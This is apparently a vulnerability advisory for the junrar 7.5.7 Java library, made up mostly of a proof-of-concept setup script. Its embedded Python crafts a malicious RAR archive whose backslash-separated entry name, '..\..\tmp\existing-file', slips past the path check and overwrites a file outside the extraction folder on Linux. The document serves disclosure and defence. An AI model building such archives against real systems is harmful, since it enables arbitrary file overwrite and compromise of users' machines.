Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix

#!/bin/bash
# Setup script for junrar backslash path traversal PoC
# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor
# Package: com.github.junrar:junrar 7.5.7 (Java)

set -e

# Use the directory where this script lives as the working directory
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
cd "$SCRIPT_DIR"

echo "=== Setting up junrar backslash path traversal PoC ==="
echo "Working directory: $SCRIPT_DIR"

# Clean up artifacts from previous runs
rm -f malicious.rar
rm -rf target extraction-output

# Verify Java and Maven are available
java -version 2>&1 | head -1 || { echo "ERROR: Java not found"; exit 1; }
mvn -version 2>&1 | head -1 || { echo "ERROR: Maven not found"; exit 1; }

# Create Maven project
cat > pom.xml << 'POMEOF'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.test</groupId>
    <artifactId>junrar-poc</artifactId>
    <version>1.0</version>
    <packaging>jar</packaging>
    <properties>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.github.junrar</groupId>
            <artifactId>junrar</artifactId>
            <version>7.5.7</version>
        </dependency>
    </dependencies>
</project>
POMEOF

# Install dependencies
echo "Installing junrar 7.5.7..."
mvn dependency:resolve -q

# Copy and compile PoC
mkdir -p src/main/java/com/test
cp poc.java src/main/java/com/test/BackslashTraversalPoC.java
echo "Compiling PoC..."
mvn compile -q

# Verify junrar version
echo "Installed: junrar 7.5.7"

# Create the malicious RAR3 archive:
#   Entry 1: file with name "..\..\tmp\existing-file" containing "Overwritten"
#
# On Linux, createFile() validates the path using getCanonicalPath().startsWith().
# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT
# resolve the ".." components, so the check passes. makeFile() then splits on
# backslashes and joins with File.separator (/), converting the literal backslashes
# into real directory traversal: ../../tmp/existing-file
python3 << 'PYEOF'
import struct, zlib

RAR3_MAGIC = b'Rar!\x1a\x07\x00'
RAR_BLOCK_MAIN = 0x73
RAR_BLOCK_FILE = 0x74
RAR_BLOCK_ENDARC = 0x7b
RAR_LONG_BLOCK = 0x8000
RAR_OS_UNIX = 3
RAR_M0 = 0x30      # Store (no compression)
S_IFREG = 0o100000

def crc16(data):
    return zlib.crc32(data) & 0xFFFF

def main_header():
    # Standard RAR3 main archive header (non-encrypted)
    # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)
    # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)
    extra = struct.pack('<HI', 0, 0)  # HighPosAv=0, PosAv=0
    header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra
    return struct.pack('<H', crc16(header_data)) + header_data

def file_block(filename, file_data):
    fname = filename.encode('utf-8')
    data = file_data.encode('utf-8')
    mode = S_IFREG | 0o644
    # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30,
    # then falls through to a switch on UNP_VER. Using 0 avoids matching any
    # decompression case (15/20/26/29/36), so only unstoreFile() runs.
    file_hdr = struct.pack('<LLBLLBBHL',
        len(data), len(data), RAR_OS_UNIX,
        zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000,
        0, RAR_M0, len(fname), mode)
    header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK,
        7 + len(file_hdr) + len(fname)) + file_hdr + fname
    return struct.pack('<H', crc16(header_body)) + header_body + data

def endarc():
    # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4
    header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7)
    crc = crc16(header_data)
    return struct.pack('<H', crc) + header_data

archive = bytearray()
archive += RAR3_MAGIC
archive += main_header()
# Backslash-separated path: on Linux, createFile() sees literal backslashes,
# but makeFile() splits on them and joins with /
archive += file_block('..\\..\\tmp\\existing-file', 'Overwritten\n')
archive += endarc()

with open('malicious.rar', 'wb') as f:
    f.write(archive)
PYEOF
echo "Created malicious.rar"

# Create the target file so it can be validated before running the payload
printf "Existing File\n" > /tmp/existing-file

echo ""
echo "=== Setup complete ==="
echo "Validate: cat /tmp/existing-file  (should show 'Existing File')"
echo "Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q"